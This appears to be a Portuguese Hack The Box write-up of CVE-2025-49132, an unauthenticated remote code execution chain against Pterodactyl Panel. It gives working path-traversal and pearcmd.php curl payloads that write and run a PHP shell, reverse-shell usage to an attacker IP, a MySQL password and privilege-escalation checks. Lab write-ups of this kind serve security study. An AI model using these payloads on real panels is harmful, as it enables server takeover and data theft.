CVE-2025-49132 - Exploração de RCE no Pterodactyl Panel

HTB Temporada 10 - Writeup da Máquina Pterodactyl

Visão Geral

Alvo: Máquina Pterodactyl HTB (Dificuldade Média)
CVE: CVE-2025-49132
Severidade: Crítica (CVSS 9.8)
Tipo de Ataque: Execução Remota de Código Não Autenticada
Afetados: Pterodactyl Panel < v1.11.11

Esta cadeia de exploração combina:

1. Path Traversal no sistema de tradução de locales
2. Injeção de Comandos PEAR via pearcmd.php
3. Execução de Código PHP através de escrita de arquivo + include

O Bug

O endpoint /locales/locale.json do Pterodactyl Panel permite path traversal através do parâmetro locale:

GET /locales/locale.json?locale=../../../../../../usr/share/php/PEAR&namespace=pearcmd

Isso pode ser combinado com o pearcmd.php do PEAR para:

1. Escrever arquivos PHP arbitrários em /tmp
2. Executá-los através de outra requisição

Por Que Funciona

PEAR (PHP Extension and Application Repository) tem uma ferramenta CLI (pearcmd.php) que:

• Aceita comandos via parâmetros de URL (projetado apenas para CLI)
• Possui um comando config-create que escreve arquivos
• NÃO possui autenticação quando chamado via web

A Cadeia de Exploração:

Path Traversal → Load pearcmd.php → Inject PHP via config-create → Execute malicious PHP

O Truque do Hex2bin()

Os comandos são codificados em hexadecimal usando hex2bin() para contornar:

• Problemas de codificação de URL
• Filtros de caracteres especiais
• Problemas de parsing do Nginx/PHP

Exemplo:

Command: whoami
Hex:     77686f616d69
Payload: <?=system(hex2bin('77686f616d69'))?>

Execução Remota de Código

Método 1: Usando o exploit.sh fornecido

chmod +x exploit.sh

# Get user flag
./exploit.sh flag

# Execute commands
./exploit.sh cmd "whoami"
./exploit.sh cmd "cat /etc/passwd"

# Reverse shell
nc -lvnp 4444  # On attacker machine
./exploit.sh shell 10.10.14.21 4444

Método 2: Exploração manual

# Step 1: Write PHP shell (hex-encoded "whoami")
curl -g "http://panel.pterodactyl.htb/locales/locale.json?\
+config-create+/&\
locale=../../../../../../usr/share/php/PEAR&\
namespace=pearcmd&\
/<?=system(hex2bin('77686f616d69'))?>+/tmp/shell.php"

# Step 2: Execute
curl "http://panel.pterodactyl.htb/locales/locale.json?\
locale=../../../../../tmp&\
namespace=shell"

Método 3: Script Python

I added exploit.py
**Install requests**

🛠️ Ferramentas Fornecidas

1. exploit.sh (Recomendado)

Exploit bash completo

./exploit.sh cmd "whoami"           # Execute single command
./exploit.sh shell 10.10.14.21 4444 # Reverse shell
./exploit.sh flag                   # Find user flag

Características:

• Codificação Hex2bin() para confiabilidade
• Filtragem de saída baseada em Python
• Múltiplos métodos de shell (bash TCP + mkfifo)
• Saída limpa e analisada

2. CVE-2025-49132_DETAILED.txt

Documentação técnica abrangente

Contém:

• Análise aprofundada da vulnerabilidade
• Explicação da arquitetura do PEAR
• Detalhamento passo a passo da exploração
• Guia de solução de problemas
• Métodos de detecção (IOCs)
• Estratégias de mitigação

Início Rápido

# 1. Add to /etc/hosts
echo "10.10.x.x pterodactyl.htb panel.pterodactyl.htb" | sudo tee -a /etc/hosts

# 2. Download exploit
wget https://your-repo/exploit.sh
chmod +x exploit.sh

# 3. Get shell
nc -lvnp 4444  # Terminal 1
./exploit.sh shell 10.10.14.21 4444  # Terminal 2

# 4. Get user flag
cat /home/phileasfogg3/user.txt

Escalação de Privilégios

Enumeração

# Check running services
ss -tlnp

# Found:
# 127.0.0.1:3306 - MySQL (root)
# 127.0.0.1:6379 - Redis
# 127.0.0.1:9000 - PHP-FPM (root)
# 127.0.0.1:25   - Postfix

# Check sudo
sudo -l
# (Likely requires password)

# SUID binaries
find / -perm -4000 2>/dev/null

# Cron jobs
cat /etc/crontab
ls -la /etc/cron.*

Vetores Comuns de Escalação de Privilégios

1. MySQL com credenciais conhecidas

mysql -u pterodactyl -pPteraPanel
# Check for UDF injection, file write perms

2. PHP-FPM rodando como root

# Check for FPM exploitation (CVE-2019-11043 or config abuse)

3. Exploração do Redis

# Check for auth bypass, RCE via cron
redis-cli -h 127.0.0.1

4. Verificar scripts graváveis no cron

find /etc/cron* -writable 2>/dev/null

5. Exploits de kernel (último recurso)

uname -a
# Check for DirtyCow, etc.

Referências

CVE e Exploits

• NVD - CVE-2025-49132
• OpenCVE - CVE-2025-49132

Recursos Técnicos

• Documentação do Pterodactyl Panel
• Documentação do PEAR
• Path Traversal da OWASP